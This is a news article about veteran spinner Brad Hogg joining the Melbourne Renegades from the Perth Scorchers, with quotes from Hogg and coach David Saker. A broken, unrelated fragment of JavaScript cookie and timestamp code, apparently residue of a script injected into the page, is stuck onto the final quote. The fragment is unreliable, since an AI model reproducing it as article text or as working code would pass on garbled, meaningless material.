HOBART, AUSTRALIA - JANUARY 11: Brad Hogg of the Scorchers celebrates with his teammates after dismissing George Bailey of the Hurricanes during the Big Bash League match between the Hobart Hurricanes and the Perth Scorchers at Blundstone Arena on January 11, 2015 in Hobart, Australia. (Photo by Scott Barbour/Getty Images)

Veteran spinner Brad Hogg has officially been unveiled by the Melbourne Renegades after five seasons with the Perth Scorchers.

Hogg has taken 125 wickets in 125 domestic T20 appearances.

The former Australian representative said despite five highly successful seasons at the Scorchers, it was time for a change.

“Melbourne is the sporting hub of the country so I see it as a great honour to play there.  It’s also a great team, and the fever pitch of a two-team rivalry, within the competition will be brilliant,” the 45-year-old said.

“I have been a very fortunate man in every respect and had five great seasons with the Scorchers. It was simply time for me to move on. I had been rejecting other BBL offers for years, but this year I realised the end is coming closer - hopefully it’s still a few years away yet - but I know this is the time to grab those opportunities and experience everything I possibly can.

"The competition between the two Melbourne teams is a fierce rivalry and I want to be a part of that intensity over the BBL season."

Melbourne Renegades Coach David Saker said he is thrilled to secure Hogg's services for next season.

“It’s just amazing when you consider that Brad’s still fit, got the fire and more to the point in-demand around the world. I don’t think there are many recent summers where we haven’t stood there and applauded his BBL performances,” Saker said.

“His experience goes without saying. He’ll be great for the guys in the group to learn from and you can’t teach the energy and enthusiasm he brings to the club. He loves the battle on the field and we can’t wait to see his competitive side come out in red.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}